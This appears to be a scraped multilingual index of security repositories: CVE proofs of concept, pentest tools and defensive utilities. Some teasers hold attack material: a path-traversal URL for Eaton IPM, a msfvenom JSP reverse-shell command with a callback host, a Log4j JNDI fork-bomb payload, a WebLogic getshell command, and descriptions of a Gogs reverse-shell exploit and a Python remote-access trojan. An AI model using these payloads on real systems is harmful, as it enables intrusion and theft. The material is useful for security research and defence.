Eaton-Intelligent-Power-Manager-Local-File-Inclusion

Eaton-Intelligent-Power-Manager-Local-File-Inclusion Eaton Intelligent Power Manager v1.6 中的本地文件包含漏洞允许攻击者包含一个文件，可能导致敏感信息泄露、拒绝服务和代码执行。 CVE-2018-12031 要利用该漏洞，攻击者可以使用 'https://HOST/server/nodeupgradesrv.js?action=downloadFirmware&firmware=/../../../../../../../../../../' 请求来获取目标上的某些信息。 root@kitploit...

CVE-2015-6620-POC

CVE-2015-6620-POC-1 CVE-2015-6620-1 ANDROIDID-24123723 の1つのバグに対するPOCです。AMessageのアンマーシャルにおける任意書き込みです。2つのバグが1つのCVEに統合されており、ここではそのうちの1つのPOCを示します。 説明 root@kitploit: 533 sp AMessage::FromParcelconst Parcel &parcel 534 int32t what = parcel.readInt32; 535 sp msg = new AMessagewhat; 536 537 msg-mNumItems...

fake-sandbox

偽のサンドボックスプロセス FSP この小さなスクリプトは、一部のマルウェアが回避しようとする解析、サンドボックス、VMソフトウェアの偽のプロセスをシミュレートします。 @x0rz によるオリジナルスクリプトはこちらからダウンロードできます（ところで感謝します）。 ルートディレクトリから私の少し最適化されたスクリプトをダウンロードすることもできます。ファイル名は fsp.ps1 です。このスクリプトはFSPインストーラでも使用されています。 スクリプトの機能 一部の（より高度な）スパイウェアは、作成されたプロセスが実行されている間、正しく実行を停止する可能性があります。 必要条件:...

aiiroverlay

为什么是叠加层，而不是替代品。核心论点。 AI IR Overlay™ 框架的一部分。完整仓库地图请参阅CONTENTMAP.md。 AI IR Overlay：框架概述 当前版本： v0.35.0 · 2026-07-09 · CHANGELOG 面向生产环境中 AI 代理的实用事件响应基线。欢迎自由批判与改进。 为什么是叠加层，而不是替代品 传统事件响应（在 NIST SP 800-61 r3 中正式确立，该版本于 2025 年 4 月取代 r2）围绕未授权访问向量构建：恶意软件、漏洞利用、凭据窃取、横向移动。AI 代理改变了故障模式。 AI 事件往往通过 授权 渠道显现： 合法身份...

NtWarden

NtWARden Windows 分析与研究工具包 基于 ImGui + DirectX 11 构建的 Windows 系统检查工具。 涵盖进程、服务、网络、内核内部机制等——支持本地检查或通过 WinSysServer 进行远程检查。 ⚠️ 本项目的部分代码在 AI 辅助下编写（vibe coding），因此可能存在一些缺陷。 内核驱动（KWinSys）应仅安装在测试虚拟机中，仅供研究使用。 屏幕截图 进程（内核模式） 进程（用户模式）| ETW 会话| 内核回调 ---|---|--- 内核池| 符号| 过滤器 架构 组件| 作用 ---|--- NtWarden| GUI...

catalyst

Catalyst 反応を加速 ウェブサイト - Catalystハンドブック（ドキュメント） - デモ Catalystはインシデント対応プラットフォームです。 アラート処理やインシデント対応手順の自動化を支援します。 機能 チケット（アラート＆インシデント）管理 チケットはCatalystの中核です。 アラート、インシデント、フォレンジック調査、脅威ハンティング、または組織内で処理したいその他のイベントを表します。 タスク タスクはCatalystにおける最小の作業単位です。ユーザーに割り当てることができ、ステータスを持ちます。...

alibi-detect

Alibi Detect 是一个源码可用的 Python 库，专注于异常值 、对抗性 和漂移 检测。该包旨在覆盖适用于表格数据、文本、图像和时间序列的在线和离线检测器。漂移检测同时支持 TensorFlow 和 PyTorch 后端。 文档 如需了解更多有关在生产环境中监测异常值和分布的重要性的背景信息，请查看来自 ICML 2020 研讨会 机器学习系统的部署与监测挑战 上的这个演讲，该演讲基于论文生产环境中模型的监测与可解释性并引用了 Alibi Detect。...

mvt

移动设备验证工具包（Mobile Verification Toolkit） !IMPORTANT 我们最近合并了“v3”分支。这引入了破坏性变更。如果您在其他脚本中依赖 mvt 的输出，它们可能已失效。更多详情：https://github.com/mvt-project/mvt/issues/757 移动设备验证工具包（Mobile Verification Toolkit，MVT）是一组实用工具，用于简化和自动化收集取证痕迹的过程，以帮助识别 Android 和 iOS 设备可能遭受的入侵。 该工具由大赦国际安全实验室于 2021 年 7...

mvt

Mobile Verification Toolkit !IMPORTANT We recently merged the "v3" branch. This introduced breaking changes. If you relied on mvt output in other scripts They might have broken. More details: https://github.com/mvt-project/mvt/issues/757 Mobile Verification Toolkit MVT is a collection of utilitie...

CVE-2025-25617

CVE-2025-25617 Unifiedtransform v2.0 存在不正确的访问控制漏洞，允许教师创建课程大纲条目——而该功能本应仅限管理员使用。 厂商：Unifiedtransform PoC 步骤 1： 以教师身份登录应用程序。 步骤 2： 访问以下端点： /syllabus/create 步骤 3： 填写必填字段并点击保存。 影响： 教师获得创建课程大纲条目的能力会扰乱教学工作流程，因为此功能应仅限管理员使用。这可能导致未经授权且可能错误的课程大纲数据被添加，造成混乱和管理不当。 漏洞类型： 不正确的访问控制 攻击类型： 远程 影响： 权限提升 攻击向量：...

OverlayFS-CVE-2021-3493

OverlayFS — CVE-2021–3493 || Writeup || Tryhackme 📖 はじめに OverlayFSとは？ OverlayFS は Linux カーネルモジュールであり、システムが複数のマウントポイントを1つに結合し、それぞれのファイルを1つのディレクトリ構造内でアクセスできるようにします。 これはライブ USB やその他の特殊なアプリケーションでよく使われます。一つの用途は、読み取り専用のルートファイルシステムを持ち、別のパーティションを「オーバーレイ」して、アプリケーションが一時ファイルシステムに書き込めるようにすることです。 OverlayFS...

log4j-exploit-fork-bomb

log4j-exploit-with-fork-bomb 💣💥💀 Proof of Concept: 利用 CVE-2021-44228 漏洞在远程服务器上启动 fork bomb 的示例 1. 创建攻击者的 LDAP 服务器（server 模块），该服务器将提供字符串和代码的表示（payload 模块） 2. 创建受害者示例（victim 模块），并将字符串传递给 Log4j JRE 版本 = 6u211, 7u201, 8u191 和 11.0.1 root@kitploit: $jndi:ldap://127.0.0.1:1389/anything...

CVE-2009-2265

版本：ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp 示例：...

beyondtrust-rce-scanner

CVE-2026-1731 — BeyondTrust Remote Support & PRA 预认证 RCE 概述 BeyondTrust Remote Support 和 Privileged Remote Access 中存在严重的预认证 RCE 漏洞。未经身份验证的远程攻击者可以执行操作系统命令。 字段| 值 ---|--- CVE| CVE-2026-1731 严重级别| CRITICAL 产品| BeyondTrust Remote Support & PRA CISA KEV| 2026-02-06 攻击类型| 预认证 RCE 所需认证| 无 受影响版本 状态| 版本...

CVE-2023-51385

此存储库没有 README。...

tanstack-compromise-checker

tanstack-compromise-checker 检测开发者机器、仓库或CI运行器上TanStack npm供应链攻击的指标。提供Bash脚本、Docker镜像和GitHub Action三种入口，共享同一检测引擎。 CVE-2026-45321 /GHSA-g7cv-rxg3-hmpx 2026年5月11日，攻击者通过GitHub Actions缓存投毒，在42个@tanstack/包中发布了84个恶意版本。该载荷窃取GitHub令牌、npm令牌、AWS/GCP/Azure凭证，并安装了一个死亡开关 守护进程，一旦被窃取的令牌被撤销，就会立即清空/目录。 快速开始...

CVE-2023-35801

此存储库没有 README。...

openentropy

openentropy ハードウェアエントロピーを計測し、研究とセキュリティのために実運用化します。 デバイス上のハードウェアソースからエントロピーを収集し、統計テストでソース品質を分析し、CLI、Rust、Python、HTTPインターフェースを介して生または調整済みの出力を提供します。 エントロピーの研究、検証、暗号展開のための単一ワークフローです。 作者:Amenti Labs クイックスタート root@kitploit: インストール cargo install openentropy-cli マシン上のエントロピーソースを検出 openentropy scan...

CVE-2018-6574

此存储库没有 README。...

aws_exposable_resources

AWS 公開可能リソース このリポジトリの目的は、公開される可能性のあるすべてのAWSリソースのリストを維持することであり、最終的には信頼されていないアカウントと共有できるリソースも含めることです（そのセクションはまだ開発中であり、ここには含まれていません）。 このリストには以下の概念が適用されています： 別のリソースを通じて間接的に公開される可能性のあるリソースは含まれていません。例えば、CloudTrailログは公開されているS3バケットに送信できますが、誤って設定されているのはS3バケットであるため、CloudTrailは公開可能なリソースとしてリストされていません。...

bmc-tools

BMC-Tools RDP ビットマップキャッシュパーサー。 入力 bmc-tools は Windows ユーザープロファイル内の bcache.bmc および cache????.bin ファイルを処理します。 使用法 root@kitploit: ./bmc-tools.py -h -s SRC -d DEST -c COUNT -v -o -b -w WIDTH 以下の引数の意味は次のとおりです: root@kitploit: -h, --help このヘルプメッセージを表示して終了します。 -s SRC, --src SRC 処理する BMCache...

numpy-1.13.1

Travis CI 状态 --- NumPy 是使用 Python 进行科学计算所需的基础包。 该包包含： 一个强大的 N 维数组对象 复杂的（广播）函数 用于集成 C/C++ 和 Fortran 代码的工具 有用的线性代数、傅里叶变换和随机数生成能力。 它源自旧的 Numeric 代码库，可以用作 Numeric 的替代品。它还增加了 numarray 引入的功能，可以用来替代 numarray。 更多信息可以在网站上找到： http://www.numpy.org 安装后，如果已安装 nose，可以通过以下命令运行测试： root@kitploit: python -c 'impor...

ruby-advisory-db

Ruby 安全公告数据库 Ruby 安全公告数据库是一项社区工作，旨在汇编所有与 Ruby 库相关的安全公告。 我们期望其他人创建数据，例如获取 CVE、GHSA、OSVDB、CVSS 或原始漏洞信息。 更多详情请参见此处。 您可以使用 bundler-audit 将您自己的 Gemfile.lock 与此数据库进行比对。 支持 Ruby 安全！ 您是否知道此数据库中未列出的漏洞？请提交 issue 或提交 PR。 目录结构 该数据库是一系列与 rubygems.org 上 Ruby 库名称匹配的目录列表。每个目录中包含一个或多个针对该 Ruby 库的公告文件。这些公告文件使用公告的 C...

CVE-2022-41852-Disable

此存储库没有 README。...

CVE-2023-43874-e107-CMS-Stored-XSS---MetaCustomTags

e107 CMS 存储型 XSS v2.3.2 作者：Sergio 描述： e017 CMS v.2.3.2 中存在多个跨站脚本（XSS）漏洞，允许本地攻击者通过向“Meta & Custom Tags Menu”中的“Copyright”和“Author”字段注入特制脚本来执行任意代码。 攻击向量： 脚本注入。“Meta & Custom Tags Menu”中的“Copyright”和“Author”字段在输入清理（sanitization）环节存在漏洞，允许注入 JavaScript 代码，当用户访问网页时将执行这些代码。 POC： 登录面板后，我们进入“常规菜单（General...

CVE-2023-42793

此存储库没有 README。...

AI-driven-MITRE-Attack

POC：AI 驱动的 MITRE 攻击检测与告警富化 该仓库演示了一个机器学习流水线 ，用于从日志中检测 MITRE ATT&CK 技术，并使用本地 LLM 富化输出。 概述 该项目分为两个主要组件 ： 1. 机器学习模型（ML） – 将日志分类到 MITRE ATT&CK 技术 2. LLM 富化 – 将 ML 预测结果富化为分析师友好的解释和可操作的见解 机器学习模型 目的 ML 模型经过训练，可从日志事件中预测 MITRE 技术 （或 BENIGN）。 这样可以自动化检测和分类潜在的恶意行为。 方法 特征： 来自日志的 commandline 字段 向量化： TF-IDF（词频 –...

SSRF-CVE-2018-25031-

此存储库没有 README。...

stegcrack

Stegcrack Stegcrack 是一个开源程序，用于利用 Steghide 中的一个漏洞（具体为 CVE-2021-27211）。 Stegcrack 检测给定文件是否包含使用 Steghide 隐藏的数据，并且有时可以在无需密码的情况下完全提取隐藏数据。 安装 克隆此仓库 root@kitploit: git clone https://github.com/b4shfire/stegcrack 进入源代码目录 root@kitploit: cd stegcrack/src 编译程序 root@kitploit: clang++ main.cc utils.cc...

CVE-2025-8110

Gogs RCE 漏洞利用 CVE-2025-8110 针对 CVE-2025-8110 的概念验证 PoC 程序，这是 Gogs 中的一个严重漏洞，允许通过符号链接绕过和 sshCommand 注入操纵 .git/config 来实现远程代码执行 RCE。 📖 概述 此漏洞利用针对 Gogs API 内容管理中的路径遍历缺陷。已认证用户可以： 1. 创建一个仓库并推送一个指向内部 .git/config 的符号链接 。 2. 使用 API 通过符号链接覆盖目标配置文件。 3. 注入恶意的 sshCommand，当服务器执行 Git 操作时触发反向 Shell 。 🚀 特性 自动化工作流...

NoMoreXOR

NoMoreXOR.py 通过频率分析帮助猜测文件256字节XOR密钥的工具。 用法 root@kitploit: usage: NoMoreXOR.py -h -a -c -xor key -g -o outfile -y YARARULES Path 通过频率分析帮助猜测文件256字节XOR密钥的工具。 positional arguments: Path 要分析的文件路径 optional arguments: -h, --help 显示此帮助信息并退出 -a, --analyze...

All-CEHv13-Module-wise-PDF-Reports

CEHv13 モジュールバナー 📁 CEHv13 モジュール - PDF レポートコレクション 📁 リポジトリ構成 CEHv13-Modules/ ├── Module-01-Introduction/ │ └── Module-01-Introduction.pdf ├── Module-02-Footprinting/ │ └── Module-02-Footprinting.pdf ├── Module-03-Scanning/ │ └── Module-03-Scanning.pdf ├── Module-04-Enumeration/ │ └──...

Reverse_HTTPS_Bot

ReverseHTTPSBot 0.8 描述： 一个基于Python的HTTPS远程访问木马，用于渗透测试。 服务器目前基于NodeJS Bot 需要： pip install requests pip install pyscreenshot 服务器需要： sh setup.sh 用于生成测试用的自签名证书和密钥 sudo npm install restify, express, lodash, save, sockjs, body-parser 不要忘记在 index.html 中的新 SockJS 对象里更改你的服务器 IP 地址！ 更多信息：...

SysmonSimulator

SysmonSimulator SysmonSimulator は、C 言語で作成されたオープンソースの Windows イベントシミュレーションユーティリティであり、WINAPI を使用してほとんどの攻撃をシミュレートできます。これは、Blue Team が EDR 検出と相関ルールをテストするために使用できます。関連する Sysmon イベント ID の攻撃データを生成するために作成しました。 ブログ記事: このツールについては、次のブログ記事で説明されています： https://rootdse.org/posts/understanding-sysmon-events/...

boringssl

BoringSSL BoringSSL is a fork of OpenSSL that is designed to meet Google's needs. Although BoringSSL is an open source project, it is not intended for general use, as OpenSSL is. We don't recommend that third parties depend upon it. Doing so is likely to be frustrating because there are no...

boringssl

BoringSSL BoringSSL 是 OpenSSL 的一个分支，旨在满足 Google 的需求。 尽管 BoringSSL 是一个开源项目，但它并不像 OpenSSL 那样面向通用用途。我们不建议第三方依赖它。这样做很可能会令人沮丧，因为不保证 API 或 ABI 的稳定性。 程序在使用 BoringSSL 时会自带其副本，当决定进行 API 更改时，我们会按需更新所有内容。这让我们能够在兼容性方面尽量避免妥协。这对我们有效，但可能对您无效。 BoringSSL 的诞生是因为 Google 多年来以多种方式使用 OpenSSL，并随着时间的推移积累了大量补丁，这些补丁在跟踪上游...

G2.5_openssl_CVE-2014-5139

Este repositorio no tiene un README...

CVE-2019-0708-POC

CVE-2019-0708-POC 针对CVE-2019-0708的有效概念验证，可生成远程shell。 使用python3运行， 示例 python3 CVE-2019-0708-windows.py Linux和Windows需要不同的版本。 出于明显原因进行了混淆。...

CVE-2024-26229-lpe

CVE-2024-26229 CWE-781: csc.sysドライバにおけるMETHODNEITHER I/O制御コードを使用したIOCTLでの不適切なアドレス検証...

evince-cve-2017-1000083

此存储库没有 README。...

CVE-2018-6574

此存储库没有 README。...

Recheck

Recheck Recheck ドメインを深くスキャンし、乗っ取り可能なすべてのドメイン を検出します クイックリンク デモ インストール 機能 例 実行 / インストール 実行方法は？ root@kitploit: git clone https://github.com/tegal1337/Recheck cd Recheck npm install npm start 機能 機能| ステータス ---|--- ディープスキャン ドメイン| Ok 乗っ取り可能なドメインを発見| Ok 必要条件 Windows / Linux NodeJS v10 以上 寄付 ???...

CVE-2024-46538

这篇文章是由 EQSTLab 发表的研究文章。 感谢physicszq 发现了这个漏洞。 CVE-2024-46538 ★ CVE-2024-46538 PfSense 存储型XSS导致任意代码执行PoC ★ https://github.com/user-attachments/assets/f41d0945-b7f4-4f88-bac5-265904256aae 描述 CVE-2024-46538：PfSense 存储型XSS漏洞 描述：pfsense v2.5.2 中存在一个跨站脚本（XSS）漏洞，攻击者可以通过向 interfacesgroupsedit.php 中的...

cve-2018-6574

此存储库没有 README。...

CVE-2018-2628

CVE-2018-2628 WebLogic反序列化漏洞复现 weblogic getshell python CVE-2018-2628-Getshell.py ip port shell1.jsp root@kitploit: C:\Users\CTF\Desktoppython CVE-2018-2628-Getshell.py 10.10.20.166 7001 jason1.jsp / \ \ / / | | \ / / |/ \ | \ / /| \ / \ | | \ \ / /| | | | | || | | / / | | | | \ / / | |/ /| | |...

secator

ペネトレーションテスターのスイスアーミーナイフ。 機能 • サポートされているコマンド • インストール • 使い方 • ドキュメント • Discordで参加しよう！ secatorは、セキュリティ評価に使用されるタスクおよびワークフローランナーです。数十の有名なセキュリティツールをサポートしており、ペネトレーションテスターやセキュリティ研究者の生産性向上を目的として設計されています。 機能 厳選されたコマンド一覧 統一された入力オプション 統一された出力スキーマ CLIとライブラリとしての使用 Celeryによる分散オプション シンプルなタスクから複雑なワークフローまで カスタマイズ...

secator

The pentester's swiss knife. Features • Supported commands • Installation • Usage • Documentation • Join us on Discord ! secator is a task and workflow runner used for security assessments. It supports dozens of well-known security tools and it is designed to improve productivity for pentesters a...

jadx-ai-mcp

JADX-AI-MCP Part of Zin MCP Suite ⚡ Fully automated MCP server + JADX plugin built to communicate with LLM through MCP to analyze Android APKs using LLMs like Claude — uncover vulnerabilities, analyze APK, and reverse engineer effortlessly. ⭐ Contributors Thanks to these wonderful people for thei...

jadx-ai-mcp

JADX-AI-MCP Zin MCP Suite の一部 ⚡ Claude などの LLM を使用して Android APK を解析するために、MCP を介して LLM と通信するよう構築された、完全自動化された MCP サーバー + JADX プラグイン。脆弱性の発見、APK の解析、リバースエンジニアリングを簡単に実行できます。 ⭐ コントリビューター これらの素晴らしい人々の貢献に感謝します ⭐ Read The Docs Read The Docs が公開されました: https://jadx-ai-mcp.readthedocs.io/en/latest/ 🤖...

AllHackingTools

• ライセンス • Issue • プロジェクト • Wikipedia • AllHackingTools：ペネトレーションテスト用のさまざまなツールのダウンロードとインストールプロセスを自動化するために設計されたシステムです。 こんにちは、Termuxをすぐにセットアップしたいなら、こちらです！1つのツールでより多くのハッキングツール！...